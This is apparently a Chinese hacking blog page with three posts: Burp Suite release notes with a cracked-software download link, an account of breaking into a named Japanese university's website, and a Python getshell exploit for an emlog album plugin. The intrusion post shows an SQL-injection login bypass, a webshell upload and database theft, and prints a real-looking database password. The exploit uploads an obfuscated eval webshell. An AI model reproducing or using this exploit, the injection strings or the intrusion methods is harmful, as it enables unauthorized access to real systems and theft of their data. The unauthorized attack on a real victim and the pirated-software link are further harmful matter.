这个版本仍然在检测Burp Collaborator是否还有更多问题的测试中。

v1.6.17

这一版本中包含许多小的改进和修正:

在算法可用的情况下,代理使用SHA256来生成CA以及每主机证书;否则,故障转移到使用SHA1。更新至基于SHA256的CA证书能够移除一些浏览器中的SSL警告。
在代理/选项/代理侦听器上有一个新按钮迫使Burp生成自己的CA证书。你将需要重启Burp来激活这个新变化,然后在浏览器中安装新的证书。这个功能可以用于切换至基于SHA286的CA证书。
修复了之前“从文件中粘帖”的功能缺陷,该缺陷有时会造成Burp在选定的文件中保持锁定。
修复了有时提取HTML内容在结果视图窗中仍呈现为HTML的“提取grep”的功能缺陷。
修复了浏览器有时发送包含代理服务器被使用的请求。存在一些攻击试图使用一个标题引诱浏览器访问一些含有敏感数据的恶意网站。而代理/选项/音乐中的新选择将帮助你远离这些。
目前爬虫在从响应文本中抽取链接的时候会忽略Burp Collaborator URLs。一些应用程序包含了储存和检索文本功能。当使用Burp扫面这些应用是,它们倾向于储存一些或全部Burp在扫描时发送的有效负载,并在之后的响应中返还。Burp最好在爬虫时不返还任何Collaborator URLs给站点。

v1.6.17版破解版:下载地址 (警告:请自行检测程序安全性,仅供尝鲜,24小时内自觉删除)


admin 发布于  2015-6-10 22:34 

日本大学入侵2 解决PostgreSQL连接问题得共立女子大学数据库 渗透测试

共立女子大学的网站是http://www.kyoritsu-wu.ac.jp先是摸索这个网站的结构,Apache+php+Redhat,只能看出这么多,静态页面应该是真的。至于数据库,不能确定是MySQL。刚开始也没想到是PostgreSQL,只不过一开始好像有个直觉。大体看了下页面,然后用谷歌site语句搜索了一下

site:www.kyoritsu-wu.ac.jp inurl:.php?复制代码就几个页面而已,看了下也没什么用途。不过443端口开放开始换衣后台在其他端口,例如443端口 https://www.kyoritsu-wu.ac.jp复制代码或者有什么二级域名什么的的。不过好像搜不到这个网站的二级域名。其实最意外的是,后台暴弱,为什么我就不具体说了,后台地址嘛过几天放出。我使用 admin'or'1'='1 'or'1'='1复制代码居然登陆了后台虽然看不懂后台文字,不过“上传”还是看得懂的,webshell毫无压力当然,这里不是正文。正文是,我找到了数据库配置文件,居然连不上数据库。因为发现了phpPGAdmin,但是用这个也连不上 http://www.kyoritsu-wu.ac.jp/pgadmin/admin/复制代码我就纳闷了,5432端口明明开放,为什么连接不上呢?可能是pgadmin没配置好?自己写个程序试试? $dbconn = pg_connect("host=localhost port=5432 dbname=cms_db user=postgres password=6ewgt39c") or die('悲剧'.pg_last_error); pg_query('set client_encoding=UTF8'); $query ='select datname from pg_database;'; $result= pg_query($query) or die( '又悲剧:'.pg_last_error); while ($result && $line = pg_fetch_array($result)) { echo $line['wbtitle'].""; } pg_free_result($result); pg_close($dbconn); ?>复制代码写了段脚本,如上访问,直接就悲剧了,根本连不上。再回去看看配置信息没错啊,于是问了下核心开发群里的Juliet,她说很其实解决起来很简单5432端口开放,PostgreSQL程序运行,配置正确,但是php无法连接的情况,只要把连接语句中的主机和端口去掉连接就可以了于是写了段PostgreSQL的数据库操作脚本。Bingo! 成功。剩下的就是脱数据了 :-)又一个负责人过几天要引咎辞职了 :-(总结一下:看本文标题就知道我不是在讲入侵手法了,本文主要为解决脱裤时遇到PostgreSQL无法连接的问题,也就是本文加粗的字体部分。




admin 发布于  2015-6-10 05:00 

emlog相册插件getshell exploit 渗透测试

emlog相册插件可直接getshell 这是python的exp

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: utf_8 -*-

# Date: 2015/4/30

# Created by:Mrxn

# 博客 https://mrxn.net/

import sys, os, re, time


try:

    import requests

except ImportError:

    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')


def usage():

    # os.system(['clear', 'cls'][os.name == 'nt'])

    print '+' + '-' * 60 + '+'

    print '\t Python emlog相册插件getshell exploit'

    print '\t   Blog:https://mrxn.net/'

    print '\t\t Code BY: Mrxn'

    print '\t\t Time:2015-05-29'

    print '+' + '-' * 60 + '+'

    if len(sys.argv) != 2:

        print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址'

        print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.xxxxx.cn/'

        sys.exit()


def getshell(url):

    '''

    emlog相册插件上传getshell函数

    :param url:  emlog url地址

    :return:     返回得到的shell地址

    '''

    up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'

    shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"

    filename = "oneok'.php"

    with open(filename, 'wb') as shellok:

        shellok.write(shell)

    files = {

        'Filedata': (filename, open(filename, 'rb'), 'text/json'),

        'album': (None, 'waitalone.cn')

    }

    try:

        up_res = requests.post(up_url, files=files).content

        shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)

    except Exception, msg:

        print '\n[x] 发生错误了,卧槽!!!:', msg

    else:

        if shellok: return url + shellok[0]


if __name__ == '__main__':

    usage()

    start = time.time()

    url = sys.argv[1]

    if url[-1] != '/': url += '/'

    ok = getshell(url)

    try:

        os.remove('oneok\'.php')

    except Exception:

        print '\n[x] 删除临时文件失败,请手工删除!'

    if ok:

        print '\n[!] 爷,人品暴发了,成功得到Shell: \n%s 密码:%s' % (ok, 'hstsec')

    else:

        print '\n[x] 报告大爷,本站不存在此漏洞!'

    print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'

想知道修复方法么,如果你是技术屌,应该知道了,如果不是呢,回复吧 O(∩_∩)O哈哈~


admin 发布于  2015-5-29 22:51